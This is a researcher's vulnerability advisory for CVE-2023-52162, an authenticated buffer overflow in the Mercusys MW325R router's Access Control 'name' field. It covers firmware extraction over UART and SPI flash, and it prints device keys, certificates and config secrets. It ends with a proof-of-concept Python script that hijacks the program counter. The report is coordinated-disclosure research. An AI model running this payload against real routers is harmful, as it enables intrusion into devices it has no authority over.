Back to the advisories

Mercusys MW325R MW325R(EU)_V3_1.11.0 Build 221019(Multi-language) - CVE-2023-52162

#mercusys #cve #remotecodeexecution #bufferoverflow
Last Modified: 2024.10.25.

If you find it valuable, you can support me by making a donation. Donate now.

Advisory

Story

I went to a local store to buy some targets. I found a cheap Mercusys (MW325R EU V3) router.

I found multiple vulnerabilities during the reverse engineering process, and I reported them to the Vendor. You can find more information here about CVE-2023-46297: https://k4m1ll0.com/cve-2023-46297.html

In this part, I will focus on CVE-2023-52162 only.

Vulnerability Description

An authenticated user, by modifying the Access Control List, can add new devices to the whitelist/blacklist. However, the name parameter passed is not adequately validated on the server side, resulting in a buffer overflow vulnerability. Exploiting the vulnerability is not straightforward, but it is possible to execute arbitrary code.

Access Control List

The "name" parameter:

The HTTP service restart in the log window:

Note: The PC register contains 41414141. :P

Preparation

If you are more interested in the preparations, you can read more about it here as well:

https://www.vicarius.io/vsociety/posts/mercusys-mw325r-reverse-engineering-part-2

The following screenshot contains a high-level overview of the reverse engineering process.

The firmware

In general, there are multiple ways to obtain the firmware. There are easier and harder cases. Here are some examples:

Note that even if you have the firmware, sometimes it is encrypted.

However the firmware can be downloaded from the vendor. I have a new chip reader, which was the main reason for the project so I used it. The model was KeeYees SOP8 SOIC8 Test Clip and CH341A USB Programmer Flash for Most of 24 25 Series BIOS Chip. This is what it looks like:

It is an awesome device and there are multiple test clips in it. It looks like complicated, but it is not that difficult to use. Suppose you choose the correct test clip and connect it to the chip. There is a marker on the chip (a dot), it is the place of the "red cable". The other part goes to a USB port. The programmer works with Windows, so I used my old ThinkPad.

If you set it correctly, the program automatically detects the chip. If it does not work, check the markers and hats and reconnect the whole thing.

The programmer looks like this:

It is possible to read and write the contents of a chip. It supports a lot of vendors and devices and reading from a soldered chip is also possible by changing the clips and the hats.

A soldered chip refers to an integrated circuit (IC) or microchip that is permanently attached to a printed circuit board (PCB) using solder. Solder is a fusible metal alloy that, when heated, melts and creates an electrically conductive and mechanically strong bond between the chip's metal contacts (leads) and the PCB's pads or traces.

Basic reverse engineering tools (binwalk, strings, xxd, ...)

Binwalk is a popular tool used for analyzing embedded files and firmware images. Its primary uses include:

Binwalk is a powerful and versatile tool widely used by cybersecurity professionals, firmware developers, and security researchers for detailed analysis and examination of embedded systems and binary files.

Unfortunately, binwalk does not work with all binary. I found multiple LZMA compressed data, but there was a problem with the sizes. The following screenshot contains the errors:

I use traditional tools like xxd and dd to disassemble the binary in these cases.


$ binwalk -E mw325v3-up-noboot_2022-10-19_11.03.08.bin

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------------------------------------------------
1024          0x400           Rising entropy edge (0.977327)
803840        0xC4400         Falling entropy edge (0.653670)
818176        0xC7C00         Rising entropy edge (0.973007)
1614848       0x18A400        Falling entropy edge (0.199398)

The binary was encrypted. With basic commands, I tried to collect as much information as possible about the binary.

Sometimes we can extract important and sensitive information from the binary this way, including hardcoded passwords.

First I tried with "strings":

The "xxd" tool is used for creating a hex dump of a given file or for converting a hex dump back into its original binary form.

In firmware, a bin file is a binary file containing executable code or data for the embedded device. So, if I say "I gathered the bin files from the firmware," it means I collected certain binary files from the firmware, which may contain executable code, configuration data, or other important information for the embedded device. This is important because examining these binary files allows me to better understand the firmware's operation and content, and possibly discover security vulnerabilities or other interesting details.

PEM files are commonly used for storing cryptographic keys, certificates, and other sensitive information in a text format. They often contain encoded data in Base64 format, which may include private keys, public keys, certificates, certificate signing requests (CSRs), and other cryptographic information.

Gathering PEM files can be beneficial for several reasons:

Overall, collecting PEM files helps improve the management, security, and reliability of your cryptographic infrastructure by centralizing and organizing sensitive cryptographic assets.

I found a strange-looking "`MINIFS`" filesystem:

I found some file names, and probably directory names.


MINIFS
web/js/app
ruIspAutoConfig.js
web/js/su
widgets.js
web/themes/mercury/css
base.css
web/locale/uk_UA
lan.js
web/locale/ru_RU1web/locale/vi_VN
frame1.js
web/locale/ko_KR
web/locale/es_MX
web/locale/pt_BR
frame2.js
web/themes/mercury/img/spriteImages/png
sprite.total.png
web/locale/en_US
web/locale/zh_TW
web/js/libs
jquery.min.js
fw/mtk
WIFI_RAM_CODE_MT7628_e2.bin
mobile.css
web/modules/advanced/network/wanSettings
script.js
total.css
web/modules/advanced/network/iptvAdv
html2canvas.min.js
conf
modelDesc.bin
web/modules/quickSetup
web/modules/homecare
view.html
web/modules/basicDevice
controllers.js
web/config
models.json
tpEncrypt.new.js
modules.json
defConf.bin
perfect-scrollbar.min.js
web/modules/advanced/system/timeSettings
models.js
web/modules/index
jquery.qrcode.min.js
web/modules/advanced/network/dhcpServerAdv
web/modules/advanced/wireless/wds
web/themes/mercury/img
Loading.gif
web/modules/wirelessSettingsRE
wirelessSetting.js
web/modules/advanced/wireless/wps
web/modules/advanced/system/changeLoginPassword
web/modules/quickSetupV2/internetConnection
web/upnp
ipc.xml
web/modules/advanced/network/ipv6Adv
web/modules/advanced/wireless/hostNwAdv
web/modules/advanced/security/accessControl
splash.jpg
web/modules/quickSetupV2/chooseInternetType
web/modules/main
main.js
web/modules/advanced/wireless/hostNwAdv5g
qs-connect1.png
web/modules/quickSetupRE/qsScan5g
web/modules/advanced/operationMode
web/modules/quickSetupRE/qsScan
web/modules/quickSetupWISP/internetConnection
web/modules/advanced/network/networkStatus
web/modules/advanced/nat/portForwarding
web/modules/networkMap/mapReMode
wfa.xml
web/modules/quickSetupCloud
web/modules/advanced/network/lanAdv
web/js/su/widget
widget.mobile.js
navigator.json
web/modules/networkBasic/wisp
web/modules/advanced/security/IPMAC
qs-connect2.png
web/modules/networkMap/mapRouter
web/modules/quickSetupV2
web/modules/wireless_basic
web/modules/quickSetupWISP/qsScan
navigator.wisp.json
web/modules/advanced/wireless/wirelessSchedule
web/modules/advanced/nat/portTriggering
web/modules/networkMap/mapRouterMode
web/modules/quickSetupWISP
web/modules/networkMap/mapWispMode
web/modules/quickSetupRE/qsSummary
web/modules/quickSetupRE
web/modules/advanced/network/routingAdv
char.js
web/modules/advanced/system/backupRestore
Switch_Loading.gif
ifc.xml
web/modules/advanced/system/reboot
web/modules/quickSetupAPV2
lanPort6.png
web/modules/advanced/system/diagnostics
lanPort5.png
web/modules/quickSetupV2/wirelessSetting
web/modules/advanced/wireless/guestNetworkAdv
lan.css
web/modules/wireless_basic_5g
web/modules/advanced/nat/DMZServer
igd.xml
web/modules/login/localLogin
web/modules/quickSetupCloud/chooseInternetType
server-cert.pem
web/modules/utils
web/modules/advanced/network/ddnsAdv
lanPort7.png
web/modules/login
web/modules/advanced/system/led
lanPort8.png
lanPort4.png
navigator.ap.json
lanPort3.png
lanPort1.png
web/modules/advanced/wireless/guestNetworkAdv5g
web/modules/lan_ap_re
classes.json
lanPort2.png
web/modules/networkMap/mapHostExtend
web/common
Index.htm
web/modules/advanced/security/yangDexDns
sku/mtk
7628_SingleSKU.dat.RU
7628_SingleSKU.dat.DE
web/modules/advanced/network/ddnsAdv/ddnsAdvDnydns
web/modules/advanced/network/ddnsAdv/ddnsAdvNoip
web/modules/advanced/system/firmware
main.html
web/modules/login/localPwdRecovery
web/modules/quickSetupV2/congratulations
web/modules/networkMap/mapInternet
navigator.re.json
web/modules/advanced/wireless/additionalSettings
web/modules/advanced/network/macAddrSettings
web/modules/quickSetupWISP/summary
button_loading.gif
web/modules/advanced/system/cwmp
web/modules/advanced/wireless/wdsBridging
7628_SingleSKU.dat
perfect-scrollbar.css
language.js
error.html
web/modules/quickSetupRE/qsSetExtend
web/modules/networkMap/mapInternetStatus
web/modules/quickSetupWISP/qsSetExtend
web/modules/advanced/nat/UpnpCfg
web/modules/networkMap/mapHostRouter
web/models
commonModels.js
web/modules/advanced/security/alg
favicon.ico
mercusys_2048_newroot.cer
logo-icon.png
web/modules/advanced/system/statistics
2048_newroot.cer
wps.xml
web/modules/advanced/system/sysLog
web/modules/networkMap
l3f.xml
web/locale
meBetaMark.png
url.js
src.js
web/modules/advanced/security/firewall
device.json
priv-key.pem
web/modules/networkBasic
web/modules/advanced/wirelessRE
web/modules/quickSetupRE/wizardEndRE
RU.config
factory.config
DE.config
    

Based on the "xxd" output at the end of each filename there is a null byte. I did not know, how the content was stored exactly.

These files seemed interesting:


7628_SingleSKU.dat
factory.config
DE.config
server-cert.pem
fw/mtk WIFI_RAM_CODE_MT7628_e2.bin

I found this link, maybe it is useful: https://deviwiki.com/wiki/TP-LINK_Archer_C24_v1.x_(EU).

I found no information about the boot process.

UART SHELL, and the boot process

Using the "screen" command, I accessed my previously established UART shell.


screen -L /dev/tty.USB0 115200

I checked the output of the boot process. It uses U-Boot:


U-Boot 1.1.3 (Dec 17 2021 - 18:17:52)

Board: Ralink APSoC DRAM:   8 MB
relocate_code Pointer at: 807c4000
flash manufacture id: 1c, device id 70 15
find flash: EN25QH16B 

There were multiple boot modes, and the content was encrypted. The "0xbc00d000" was where the image starts.


Please choose the operation or press ctrl + c to stop auto boot: 
   1: Load system code to SDRAM via TFTP.
   2: Load system code then write to Flash via TFTP. 
   3: Boot system code via Flash (default).
   9: Load Boot Loader code then write to Flash via TFTP.

3: System Boot system code via Flash. 
## Booting image at bc00d000 ...
addr:0xbc00d000
Is TPOS Image.
imgFileEnc=0xbc00d080, offset=0x80, len=0xc45ac

We have additional information about the application's internal structures.

See "App initialization" below.


initcall level=0
initcall level=1
initcall level=2
ctrlAddEventCallbackExt():register app.
ctrlAddEventCallbackExt():register app.
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:382] not null
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app 
ctrlAddEventCallbackExt():register app.
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app 
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app 
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app 
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app 
ctrlAddEventCallbackExt():register app
. ctrlAddEventCallbackExt():register app. ctrlAddEventCallbackExt():register app. ################################################ loadAppDesc():load app
. loadAppDesc():load app. loadAppDesc():load app. loadAppDesc():load app. loadAppDesc():load app. loadAppDesc():load app. [main]ctrlAppReset():App main reset. [main]ctrlAppReset():App forward reset. [main]ctrlAppReset():App systool reset. [main]ctrlAppReset():App wlan reset. [main]ctrlAppReset():App wan reset. [main]ctrlAppReset():App advanced reset.

I found numerous logs related to m7628. For example:


[mt7628]load fw image from /lib/firmware//fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin
[mt7628]try 1 times
[mt7628]<<<<<<<<<<<<< oooooo! will load file: /fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin
[mt7628]<<<<<<<<<<<<< OS_LOAD_CODE_FROM_BIN load file: /fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin size: 64848(0xfd50)
[mt7628]AndesMTLoadFwMethod1(2320)::pChipCap->fw_len(64848)
[mt7628]FW Version:1........
[mt7628]FW Build Date:20180704090333

Note: We have a path "/fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin".

I collected the following entries about the MINIFS file system:

Operating system

It was a debugging environment, and the help command described the basic information about the commands. It took time to use these programs properly (more or less).

The most important commands were:

I tried to gather as much information as possible using the built-in commands. The following screenshots contain the most important gathered information:

Task information:

Memory information:

Memory dump:

system command:

debug command + cat example:

Summary until now

Flash layout: We have the Flash layout.

Dumping the flash via the debugging interface

I tried to use the TFTP command and the atfpd/ptftpd TFTP servers, but I had no luck with it.

Decryption occurs when the system starts. After boot when the system is running, the files can be used. I can use this to access additional information via the debug interface. It is important to understand the Flash Layout.

I made a small Python3 script. It connected to the serial console and used the built-in commands to dump the flash content.

Notes:

"dump_flash_via_uart_commands_mw325r.py":


#!/usr/bin/python3

import serial, sys, os, time

BAUD_RATE = 115200
# you can use this, if you have problems. 
DELAY = 9

mem_addr = 0x807E9000
max_dump_size = 4
max_dump_size_bytes = max_dump_size * 1024

s = serial.Serial("/dev/ttyUSB0", BAUD_RATE)
f = open("flash_manual_full.dump", "wb")

addresses = [ hex(i) for i in range(0,2097152,4096) ]

for current_address in addresses:
    print(current_address)
    CONFIG_addr = int(current_address,16)
    CONFIG_length = max_dump_size * 1024

    flash_read_cmd = "flash -read %02x %02x %02x\r\n" % (CONFIG_addr, max_dump_size_bytes, mem_addr)
    s.write(flash_read_cmd.encode("utf-8"))

    dump_mem_cmd = "mem -dump %02x %02x\r\n" % (mem_addr, max_dump_size_bytes)
    s.write(dump_mem_cmd.encode("utf-8"))
    s.readline().decode("utf-8")
    s.readline().decode("utf-8")
    s.readline().decode("utf-8")
    s.readline().decode("utf-8")
    
    L = int(max_dump_size_bytes / 16)
    for i in range(0,L):
        line = s.readline()

        if b"# \x1b[s# \x1b[s" in line:
            line = line[10:]

        if len(line) != 83:
            print(b"!" + line)

        f.write(line)

f.close()
s.close()

Dumping the flash via the debugging interface

I tried to use the TFTP command and the atfpd/ptftpd TFTP servers, but I had no luck with it.

Decryption occurs when the system starts. After boot when the system is running, the files can be used. I can use this to access additional information via the debug interface. It is important to understand the Flash Layout.

I made a small Python3 script. It connected to the serial console and used the built-in commands to dump the flash content.

Notes:

Note: The device in my case was /dev/ttyUSB0!

Example execution:

...

The format of the "flash_manual_full.dump" was the following:


cat flash_manual_full.dump | head -n 10
807E9000:  FF 00 00 10 00 00 00 00 - FD 00 00 10 00 00 00 00      ........ ........
807E9010:  34 03 00 10 00 00 00 00 - 32 03 00 10 00 00 00 00      4....... 2.......
807E9020:  30 03 00 10 00 00 00 00 - 2E 03 00 10 00 00 00 00      0....... ........
807E9030:  2C 03 00 10 00 00 00 00 - 2A 03 00 10 00 00 00 00      ,....... *.......
807E9040:  28 03 00 10 00 00 00 00 - 26 03 00 10 00 00 00 00      (....... &.......
807E9050:  24 03 00 10 00 00 00 00 - 22 03 00 10 00 00 00 00      $....... ".......
807E9060:  20 03 00 10 00 00 00 00 - 1E 03 00 10 00 00 00 00       ....... ........
807E9070:  1C 03 00 10 00 00 00 00 - 1A 03 00 10 00 00 00 00      ........ ........
807E9080:  18 03 00 10 00 00 00 00 - 16 03 00 10 00 00 00 00      ........ ........
807E9090:  14 03 00 10 00 00 00 00 - 12 03 00 10 00 00 00 00      ........ ........

So I wrote another helper script "dump2bin.py", which restores the "bin" file.


#!/usr/bin/python3
import sys, io

BYTES_IN_LINE = 0x10 # Number of bytes to expect in each line
c_addr = None
hex_to_ch = {}
ascii_stdin = io.TextIOWrapper(sys.stdin.buffer, encoding='ascii', errors='strict')

for line in ascii_stdin:
    line = line[:-1]
    data, ascii_data = line.split(" \t  ", maxsplit = 1)
    straddr, strdata = data.split(maxsplit = 1)
    addr = int.from_bytes(bytes.fromhex(straddr[:-1]), byteorder = 'big')
    # we don't need this, only for debugging
    c_addr = addr
    strdata = strdata.replace("- ", "")
    data = bytes.fromhex(strdata)
    if len(data) != BYTES_IN_LINE:
        sys.exit("Unexpected number of bytes in line: '%s'" % line)
    sys.stdout.buffer.write(data)

Usage:


cat flash_manual_full.dump | ./dump2bin.py > flash.bin

Earlier we didn't have boot information in the binary, but this time we have the following:


xxd flash.bin | grep boot
0000a420: 7574 6f20 626f 6f74 3a20 0a00 2020 2025  uto boot: ..   %
0000a590: 0949 6e70 7574 2055 626f 6f74 2066 696c  .Input Uboot fil
0000a5a0: 656e 616d 6520 0000 7562 6f6f 742e 6269  ename ..uboot.bi
0000a600: 626f 6f74 6669 6c65 0000 0000 2323 2320  bootfile....### 
0000a720: 2c74 6f74 616c 3a25 6420 0a00 626f 6f74  ,total:%d ..boot
0000a8c0: 743a 2062 6f6f 746c 6f61 6465 7220 7369  t: bootloader si
0000ad70: 5761 726e 696e 673a 206e 6f20 626f 6f74  Warning: no boot
0000b3e0: 7064 6174 6520 626f 6f74 6c6f 6164 6572  pdate bootloader
0000b870: 7462 6f6f 745f 636f 6d6d 6f6e 2c20 6172  tboot_common, ar
0000b8b0: 6320 626f 6f74 206f 6620 696d 6167 6520  c boot of image 
0000b9a0: 626f 6f74 636d 643d 7466 7470 0062 6f6f  bootcmd=tftp.boo
000d2940: 2f73 7973 7465 6d2f 7265 626f 6f74 0077  /system/reboot.w

Certs and other useful information

Here is the content of the "/conf/server-cert.pem":


Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            b1:8b:2d:14:37:40:44:20
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=CN, ST=guangdong, L=shenzhen, O=tplink, OU=SOHO, CN=SDMP/emailAddress=SDMP@tp-link.net
        Validity
            Not Before: May  8 08:50:17 2014 GMT
            Not After : Feb  1 08:50:17 2017 GMT
        Subject: C=CN, ST=guangdong, L=shenzhen, O=tplink, OU=SOHO, CN=SDMP/emailAddress=SDMP@tp-link.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (512 bit)
                Modulus (512 bit):
         snipped
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                EC:1C:A3:BA:9F:C5:E5:4B:C1:E6:55:53:D5:08:C8:66:FE:58:91:6E
            X509v3 Authority Key Identifier: 
                keyid:EC:1C:A3:BA:9F:C5:E5:4B:C1:E6:55:53:D5:08:C8:66:FE:58:91:6E
                DirName:/C=CN/ST=guangdong/L=shenzhen/O=tplink/OU=SOHO/CN=SDMP/emailAddress=SDMP@tp-link.net
                serial:B1:8B:2D:14:37:40:44:20
            X509v3 Basic Constraints: 
                CA:TRUE
    Signature Algorithm: sha1WithRSAEncryption
           ... snipped
-----BEGIN CERTIFICATE-----
MIIC8DCCApqgAwIBAgIJALGLLRQ3QEQgMA0GCSqGSIb3DQEBBQUAMIGEMQswCQYD
           ... snipped

xYyx1A9xD1X33WXWgoU3GajNStmHnxv0PEDT5tXK/DZqdJu9
-----END CERTIFICATE-----

Also, consider "/conf/mercusys_2048_newroot.cer":


-----BEGIN CERTIFICATE-----
MIIDEzCCAfugAwIBAgIQcrYy0DdBopNPK2U1W6zuyDANBgkqhkiG9w0BAQsFADAb
...snippped
6H9zAyJoUYQLA04PrhEbOmnq/26G4To=
-----END CERTIFICATE-----

"/conf/priv-key.pem":


-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJBALPoPA3V2dkOJlZuH2gkTA7hoCAz6/u8lp7z51qEzFLRZA9Csysz
...snipped
LynXZnhQaaT8oyKL1VKhgNIQp7rH3zNZ5oMvkG8=
-----END RSA PRIVATE KEY-----

"/conf/2048_newroot.cer":


-----BEGIN CERTIFICATE-----
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV

... snipped
dSAA4fejD/qMQn0=
-----END CERTIFICATE-----

"/conf/DE.config":


cat /conf/DE.config:
id 0|1,0,0
oem_id DC6BAC8B6C74A4A3D5A38550ECB1D7CD
id 49|1,0,0
mode 0

"/conf/factory.config":


id 1|1,0,0
authKey WaQ7xbhc9TefbwK
id 32|1,0,0
uChannelWidth 2
uRegionIndex 2
id 33|1,1,0
bSecurityEnable 0
id 90|1,0,0
enable 

Tehnical details

I published the technical details on vsociety: https://www.vicarius.io/vsociety/posts/mercusys-mw325r-reverse-engineering-part-3-authenticated-remote-code-execution-cve-2023-52162

Preparation

The device, the UART shell, and debugging options were presented in the previous sections. There, I

Burp + Proxy

I configured the Burp proxy on my laptop, so it is possible to manipulate web requests.

I configured Firefox to use the Proxy.

The better the environment, the easier it is to reproduce the behavior. Something may need to be restarted often, so I typically use some Python automation. It pays to prepare in the long run.In this case, I had only 3 days.

I examined the router quite a bit before. I understand the technology, the device, and the internal components. The buffer overflow type of vulnerability is quite typical for these solutions. It's an iterative process, I poke a little bit and see what happens. The UART shell and the log part of the web interface will contain everything. If the router crashes, it is worth investigating further.

I recommend manually reviewing the functions, especially the exciting ones requiring user input. This helps to understand the internal workings.

Referer check

There is a security feature, it is called Referer check. It is what the name suggests, the Referer header is checked when the device receives a request. It must be set correctly or the requests will not accepted.

Example "Referer" header in Burp:

The Device path is:


Security -> Access Control -> White List/Black List -> Add device
    

The original request was the following:

The device uses special parameter management, which is good news, the chance of vulnerabilities is even greater. The interesting part is the 14th line, and the "name" parameter.

I changed the name parameter to a series of "A" characters.

After submitting the payload, the web interface became unavailable. After a short time, it was possible to log in again. From the behavior and analysis of the logs, it can be seen that an exception occurred and the router restarted.

The log window contained the following:

What is the "PC" register?

The "PC" abbreviation for an ARM processor stands for "Program Counter", which represents the instruction pointer. This register holds the memory address of the currently executed instruction or the address from which the next instruction starts.

From an exploitation perspective, the "PC" register is crucial as attackers can manipulate it to control the execution flow of the target program. For instance, an attacker may find an opportunity to exploit faulty program inputs, enabling them to modify the "PC" register's value to make the program execute their chosen code snippet, such as malicious code. This technique is commonly known as a buffer overflow attack and is one of the most frequently used methods for exploiting software security vulnerabilities.

More information here: https://developer.arm.com/documentation/107656/0101/Registers/Registers-in-the-register-bank/R15--Program-Counter--PC-

Note: 0x41 = 65 (decimal) - the ASCII code of "A".

The UART shell contained the following:

My original payload length was 289.

A high-level overview of the vanilla buffer overflow Exploitation

Understanding the PC register's role in controlling program execution and calculating the correct offset is crucial for crafting successful buffer overflow exploits. Failure to calculate the offset accurately may result in the exploit failing to execute the intended malicious code or causing the program to crash unpredictably.

In this case, we have it relatively easy as finding the correct offset can be done using elementary tools like Metasploit's "pattern_create" and "pattern_offset". These tools allow us to generate a unique pattern of characters, which we can input into the vulnerable program. By identifying where this pattern is overwritten in the program's memory, we can determine the exact offset required to reach the return address stored in the PC register.

I used the old pattern_create to create the payload and reproduced the crash. The PC this time contained "41326651". With the pattern_offset tool, I found the correct offset:

I created a new payload and inserted "C"-s into the appropriate locations. If the payload is correct, "43" (decimal 67 - C character) will appear in the PC register.

My beautiful 43 bytes were in the PC register:

How can you continue from here?

It depends on what the goal is.

You can use the contiguous free areas at the end of the memory for data storage. You can store the real payload in memory with some tricks. You must find the address belonging to useful functions and parameterize them properly.

Here are some possibilities:

In my opinion, the best way is to use the features provided by the system to download, store, and run the code.

A qualified exploit writer can write what is missing from here. It is a nice way to learn exploit writing if you write it yourself. This device is not a good starting device. If you are a newbie, I recommend TP-Link routers e.g. TL-WR840N first.

C and ARM assembly knowledge is required, maybe the MediaTek SDK will be useful too.

Update: 2024.06.08

I gave a presentation on the vulnerabilities discovered. Several people have asked about whether other models are affected or whether there are other vulnerabilities.

If you have further questions, you should get in touch with the vendor.

Exploit


#!/usr/bin/python3
####
# Author: k4m1ll0 (matek.kamillo@gmail.com)
# Date: 2024.06.01
# Description: Mercusys MW325R EU(V3) - CVE-2023-52162 "POC"
# Note: it is an authenticated RCE, and the device uses special login mechanism. 
##

import requests

if name == "__main__":
    URL_BASE = "http://192.168.1.1"
    SESSION_ID = "%2B4%2BBOnG%2B40%2Cp%24Wc(xtBX(L%2BU3f4ET306"   
    
    PAYLOAD="A"*156 + "C"*4 + "A"*129 
    URL = URL_BASE + "/?code=0&asyn=0&id=" + SESSION_ID
    
    print(f"URL: {URL}")
    try:
        session = requests.session()
        #proxies = { 'http' : 'http://127.0.0.1:8080' }
        proxies = { }
        headers = { 'Content-Type' : 'text/plain;charset=UTF-8', 
                 'X-Requested-With' : 'XMLHttpRequest',
                 'Referer' : "http://192.168.1.1"  }
        data = 'advanced bm -add list:white name:' + PAYLOAD + ' mac:22-22-22-22-22-27\r\n'
        response = session.post(URL, headers=headers, proxies=proxies, data=data)
        response.raise_for_status()
    except Exception as err:
        print(f"Error occurred: {err}")

Disclosure timeline

  • 2023.11.04 - Technical details sent to the vendor.
  • 2023.11.14 - 2024.02.15 - Multiple discussions with the vendor. (CVE requested: CVE-2023-52162)
  • 2024.02.01 - 2024.02.23 - Official patch released.
  • 2024.06.02 - Publishing
  • © 2019-2025 Kamilló Matek (k4m1ll0) All Rights Reserved